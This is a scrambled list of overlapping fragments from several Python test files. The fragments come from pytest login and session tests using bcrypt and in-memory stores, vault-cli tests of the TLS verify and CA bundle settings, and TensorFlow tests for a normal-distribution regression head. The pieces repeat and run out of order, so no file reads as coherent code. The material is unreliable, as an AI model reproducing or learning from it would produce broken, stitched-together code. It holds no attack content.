"pytest from src.users import Users from src.events import Events from src.stores import MemoryStore",
"30, start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] =",
"from bcrypt_hash import BcryptHash import pytest from src.users import Users from src.events import",
"'alias', password, 'phone', True, True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('test') def",
"session.login('test') assert loging_dict assert 'user' in loging_dict assert 'register' in loging_dict assert loging_dict['register']",
"user) user.validated = True params['register'] = '' session = Session(params, store, '') with",
"loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store = MemoryStore() users = Users(store)",
"params['register'] = 'test' session = Session(params, store, '') loging_dict = session.login('test') assert loging_dict",
"test_login_user_bad_password(): store = MemoryStore() users = Users(store) params = {} params['password'] = '<PASSWORD>'",
"assert 'user' in loging_dict def test_login_user_bad_password(): store = MemoryStore() users = Users(store) params",
"test_login_user_register(): store = MemoryStore() users = Users(store) events = Events(store) start = datetime.now(pytz.timezone(\"America/New_York\"))",
"= users.add('email', 'name', 'alias', password, 'phone', True, True, user_id='test') events.add('test', 'test', 30, start,",
"'<PASSWORD>' session = Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email', 'name',",
"= 'password' password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True,",
"pytz from bcrypt_hash import BcryptHash import pytest from src.users import Users from src.events",
"= '<PASSWORD>' session = Session(params, store, '') password = BcryptHash('password').encrypt() user = users.add('email',",
"with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict def",
"dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = 'test' session",
"store = MemoryStore() users = Users(store) params = {} params['password'] = 'password' session",
"'password' password = BcryptHash('password').encrypt() user = users.add('email', 'name', 'alias', password, 'phone', True, True,",
"'name', 'alias', password, 'phone', True, True, user_id='test') events.add('test', 'test', 30, start, dur, 'test',",
"bcrypt_hash import BcryptHash import pytest from src.users import Users from src.events import Events",
"MemoryStore() users = Users(store) params = {} params['password'] = '<PASSWORD>' session = Session(params,",
"users = Users(store) params = {} params['password'] = 'password' session = Session(params, store,",
"user.validated = True params['register'] = 'test' session = Session(params, store, '') loging_dict =",
"datetime.now(pytz.timezone(\"America/New_York\")) dur = timedelta(hours=1) params = {} params['password'] = 'password' password = BcryptHash('password').encrypt()",
"'test', '<EMAIL>', 'test', user) user.validated = True params['register'] = '' session = Session(params,",
"with pytest.raises(Exception): session.login('test') def test_login_user_register(): store = MemoryStore() users = Users(store) events =",
"params = {} params['password'] = 'password' session = Session(params, store, '') password =",
"params = {} params['password'] = '<PASSWORD>' session = Session(params, store, '') password =",
"import BcryptHash import pytest from src.users import Users from src.events import Events from",
"'test', 30, start, dur, 'test', 'test', '<EMAIL>', 'test', user) user.validated = True params['register']",
"'') loging_dict = session.login('test') assert loging_dict assert 'user' in loging_dict assert 'register' in",
"'register' in loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event(): store = MemoryStore() users",
"MemoryStore from src.session import Session def test_login_user(): store = MemoryStore() users = Users(store)",
"True params['register'] = 'test' session = Session(params, store, '') loging_dict = session.login('test') assert",
"True, user_id='test') user.validated = True with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict",
"'alias', password, 'phone', True, True, user_id='test') events.add('test', 'test', 30, start, dur, 'test', 'test',",
"= session.login('test') assert loging_dict assert 'user' in loging_dict def test_login_user_bad_password(): store = MemoryStore()",
"user_id='test') user.validated = True with pytest.raises(Exception): session.login('') loging_dict = session.login('test') assert loging_dict assert",
"'user' in loging_dict assert 'register' in loging_dict assert loging_dict['register'] == 'test' def test_login_user_register_bad_event():",
"loging_dict assert 'user' in loging_dict def test_login_user_bad_password(): store = MemoryStore() users = Users(store)",
"from datetime import datetime, timedelta import pytz from bcrypt_hash import BcryptHash import pytest"
] |
[
"not None: vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this tests",
"requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None, None, True,",
"expected requests_session.get(\"https://bla\") # If this tests fails here, it means requests have solved",
"== expected requests_session.get(\"https://bla\") # If this tests fails here, it means requests have",
"True), (True, None, True, True), (False, None, False, False), (\"blu\", None, \"blu\", \"blu\"),",
"requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session",
"this tests fails here, it means the Session workaround doesn't # work anymore",
"# This is the case we're supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\",",
"this tests fails here, it means requests have solved the bug # and",
"import pytest from vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\",",
"(False, None, False, False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True,",
"@pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not",
"os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None,",
"\"bla\"), # This is the case we're supposedly fixing ( \"blu\", \"bla\", \"bla\",",
"False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"),",
"import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle",
"is not None: vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this",
"= sessions.Session() requests_session = requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar",
"else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None, None, True, True),",
"os import pytest from vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\")",
"(True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), # This is the case",
"sessions.Session() requests_session = requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if",
"\"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), # This is the",
"\"bla\", \"bla\", \"bla\", ), # This might be surprising but it's not important.",
"None: vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this tests fails",
"fails here, it means the Session workaround doesn't # work anymore assert requests_mock.last_request.verify",
"None, True, True), (True, None, True, True), (False, None, False, False), (\"blu\", None,",
"\"bla\", False, \"bla\"), # This is the case we're supposedly fixing ( \"blu\",",
"expected_with_requests\", [ (None, None, True, True), (True, None, True, True), (False, None, False,",
"# If this tests fails here, it means the Session workaround doesn't #",
"# work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this tests fails",
"(True, None, True, True), (False, None, False, False), (\"blu\", None, \"blu\", \"blu\"), (None,",
"import requests vault_cli_session = sessions.Session() requests_session = requests.Session() if envvar is not None:",
"requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this tests fails here, it means the",
"\"bla\"), (False, \"bla\", False, \"bla\"), # This is the case we're supposedly fixing",
"it's not important. ], ) def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests,",
"not important. ], ) def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ):",
"\"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), # This is the case we're",
"(None, None, True, True), (True, None, True, True), (False, None, False, False), (\"blu\",",
"vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this tests fails here,",
"\"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), # This is",
"here, it means the Session workaround doesn't # work anymore assert requests_mock.last_request.verify ==",
"\"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), # This is the case we're supposedly",
"os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None, None, True, True), (True,",
"yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize(",
"case we're supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ), # This might",
"If this tests fails here, it means the Session workaround doesn't # work",
"if verify is not None: vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") #",
"might be surprising but it's not important. ], ) def test_session( reset_requests_ca_bundle, requests_mock,",
"sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is",
"None) yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None)",
"import os import pytest from vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle =",
") def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests",
"requests_session.get(\"https://bla\") # If this tests fails here, it means requests have solved the",
"fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ), # This might be surprising but",
"True), (False, None, False, False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"),",
"requests vault_cli_session = sessions.Session() requests_session = requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"]",
"the bug # and we don't need a workaround anymore assert requests_mock.last_request.verify ==",
"here, it means requests have solved the bug # and we don't need",
"is the case we're supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ), #",
"test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session =",
"= envvar if verify is not None: vault_cli_session.verify = verify requests_session.verify = verify",
"This is the case we're supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ),",
"vault_cli_session.get(\"https://bla\") # If this tests fails here, it means the Session workaround doesn't",
"reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session()",
"False, False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\",",
"workaround doesn't # work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this",
"vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if",
"means the Session workaround doesn't # work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\")",
"means requests have solved the bug # and we don't need a workaround",
"expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session = requests.Session() if envvar",
"\"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"),",
"\"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), # This",
"fails here, it means requests have solved the bug # and we don't",
"if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify,",
"= requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None, None,",
"Session workaround doesn't # work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If",
"expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session = requests.Session() if",
"envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session = requests.Session()",
"doesn't # work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this tests",
"None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\",",
"(\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False,",
"but it's not important. ], ) def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected,",
"solved the bug # and we don't need a workaround anymore assert requests_mock.last_request.verify",
"be surprising but it's not important. ], ) def test_session( reset_requests_ca_bundle, requests_mock, verify,",
"False, \"bla\"), # This is the case we're supposedly fixing ( \"blu\", \"bla\",",
"requests have solved the bug # and we don't need a workaround anymore",
"verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session =",
"assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this tests fails here, it means",
"(None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False, \"bla\"), #",
"we're supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ), # This might be",
"work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this tests fails here,",
"from vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield",
"\"blu\", \"bla\", \"bla\", \"bla\", ), # This might be surprising but it's not",
"requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session = requests.Session() if envvar is not",
"requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar,",
"bug # and we don't need a workaround anymore assert requests_mock.last_request.verify == expected_with_requests",
"envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not None: vault_cli_session.verify",
"is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not None: vault_cli_session.verify =",
"True, True), (True, None, True, True), (False, None, False, False), (\"blu\", None, \"blu\",",
"envvar, expected, expected_with_requests\", [ (None, None, True, True), (True, None, True, True), (False,",
"<reponame>irvansemestanya/vault-cli<filename>tests/unit/test_sessions.py<gh_stars>10-100 import os import pytest from vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle",
"os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\",",
"\"bla\", ), # This might be surprising but it's not important. ], )",
"], ) def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import",
"(False, \"bla\", False, \"bla\"), # This is the case we're supposedly fixing (",
"pytest from vault_cli import sessions @pytest.fixture def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None)",
"[ (None, None, True, True), (True, None, True, True), (False, None, False, False),",
"important. ], ) def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\")",
"@pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None, None, True, True), (True, None, True,",
"not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not None: vault_cli_session.verify = verify",
"anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this tests fails here, it",
"surprising but it's not important. ], ) def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar,",
"not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\",",
"True, True), (False, None, False, False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\",",
"os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else:",
"is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected,",
"requests_session = requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify",
"None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle else: os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [",
"the Session workaround doesn't # work anymore assert requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") #",
"If this tests fails here, it means requests have solved the bug #",
"This might be surprising but it's not important. ], ) def test_session( reset_requests_ca_bundle,",
"verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this tests fails here, it means",
"it means requests have solved the bug # and we don't need a",
"None, False, False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\",",
"supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ), # This might be surprising",
"requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] =",
"), # This might be surprising but it's not important. ], ) def",
"requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not",
"def test_session( reset_requests_ca_bundle, requests_mock, verify, envvar, expected, expected_with_requests, ): requests_mock.get(\"https://bla\") import requests vault_cli_session",
"= requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is",
"# If this tests fails here, it means requests have solved the bug",
"None, True, True), (False, None, False, False), (\"blu\", None, \"blu\", \"blu\"), (None, \"bla\",",
"\"blu\", \"blu\"), (None, \"bla\", \"bla\", \"bla\"), (True, \"bla\", \"bla\", \"bla\"), (False, \"bla\", False,",
"tests fails here, it means the Session workaround doesn't # work anymore assert",
"it means the Session workaround doesn't # work anymore assert requests_mock.last_request.verify == expected",
"envvar if verify is not None: vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\")",
"reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"]",
"verify vault_cli_session.get(\"https://bla\") # If this tests fails here, it means the Session workaround",
"# This might be surprising but it's not important. ], ) def test_session(",
"= os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = requests_ca_bundle",
"def reset_requests_ca_bundle(): requests_ca_bundle = os.environ.get(\"REQUESTS_CA_BUNDLE\") os.environ.pop(\"REQUESTS_CA_BUNDLE\", None) yield if requests_ca_bundle is not None:",
"\"verify, envvar, expected, expected_with_requests\", [ (None, None, True, True), (True, None, True, True),",
"verify is not None: vault_cli_session.verify = verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If",
"have solved the bug # and we don't need a workaround anymore assert",
"vault_cli_session = sessions.Session() requests_session = requests.Session() if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] =",
"requests_mock.last_request.verify == expected requests_session.get(\"https://bla\") # If this tests fails here, it means requests",
"if envvar is not None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not None:",
"\"bla\", \"bla\", ), # This might be surprising but it's not important. ],",
"expected, expected_with_requests\", [ (None, None, True, True), (True, None, True, True), (False, None,",
"tests fails here, it means requests have solved the bug # and we",
"( \"blu\", \"bla\", \"bla\", \"bla\", ), # This might be surprising but it's",
"None: os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not None: vault_cli_session.verify = verify requests_session.verify",
"os.environ[\"REQUESTS_CA_BUNDLE\"] = envvar if verify is not None: vault_cli_session.verify = verify requests_session.verify =",
"None) @pytest.mark.parametrize( \"verify, envvar, expected, expected_with_requests\", [ (None, None, True, True), (True, None,",
"the case we're supposedly fixing ( \"blu\", \"bla\", \"bla\", \"bla\", ), # This",
"): requests_mock.get(\"https://bla\") import requests vault_cli_session = sessions.Session() requests_session = requests.Session() if envvar is",
"= verify vault_cli_session.get(\"https://bla\") # If this tests fails here, it means the Session",
"= verify requests_session.verify = verify vault_cli_session.get(\"https://bla\") # If this tests fails here, it"
] |
[
"KIND, either express or implied. # See the License for the specific language",
"from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION },",
"Unless required by applicable law or agreed to in writing, software # distributed",
"specific language governing permissions and # limitations under the License. # ============================================================================== \"\"\"Tests",
"loss.mean() def actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias)",
"train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\":",
"as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from",
"ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform",
"+ scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits",
"actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now we verify the underlying",
"this file except in compliance with the License. # You may obtain a",
"# Now we verify the underlying distribution was correctly constructed. expected_mean = logits[...,",
"estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators",
"estimator.py.\"\"\" from __future__ import absolute_import from __future__ import division from __future__ import print_function",
"mu) / sigma loss = 0.5 * (z**2. + np.log(2. * np.pi)) +",
"ANY KIND, either express or implied. # See the License for the specific",
"# ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import from __future__ import division",
"[-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert to tensor so we can index",
"loss}, model_fn_ops) # Now we verify the underlying distribution was correctly constructed. expected_mean",
"[1.]]) logits = np.float32([[0., -1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): #",
"actual_stddev(logits) labels = np.squeeze(labels, -1) z = (labels - mu) / sigma loss",
"actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits):",
"import division from __future__ import print_function import numpy as np import six from",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See",
"under the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import from",
"normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels",
"IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or",
"labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self,",
"0] def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[...,",
"return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2)",
"normal as normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({",
"import constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from",
"OF ANY KIND, either express or implied. # See the License for the",
"from tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def",
"def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression(",
"def actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def",
"__future__ import absolute_import from __future__ import division from __future__ import print_function import numpy",
"from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from",
"np import six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants",
"= 0.5 * (z**2. + np.log(2. * np.pi)) + np.log(sigma) return loss.mean() def",
"estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1], [1,",
"__future__ import division from __future__ import print_function import numpy as np import six",
"return logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return",
"so that: logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x))",
"logits[..., 1] so that: logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x):",
"logits = np.float32([[0., -1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert",
"All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the",
"logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits,",
"import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k:",
"self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops)",
"software # distributed under the License is distributed on an \"AS IS\" BASIS,",
"1] so that: logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return",
"tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head",
"# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to",
"= softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have",
"session.Session(): # Convert to tensor so we can index into head.distributions. tflogits =",
"def actual_loss(logits, labels): mu = actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels, -1)",
"_assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now we",
"under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES",
"_assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now we verify the underlying distribution was",
"logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss},",
"loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels =",
"np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return",
"the underlying distribution was correctly constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(),",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"so we can index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops(",
"softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits) sigma = actual_stddev(logits) labels",
"as normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None:",
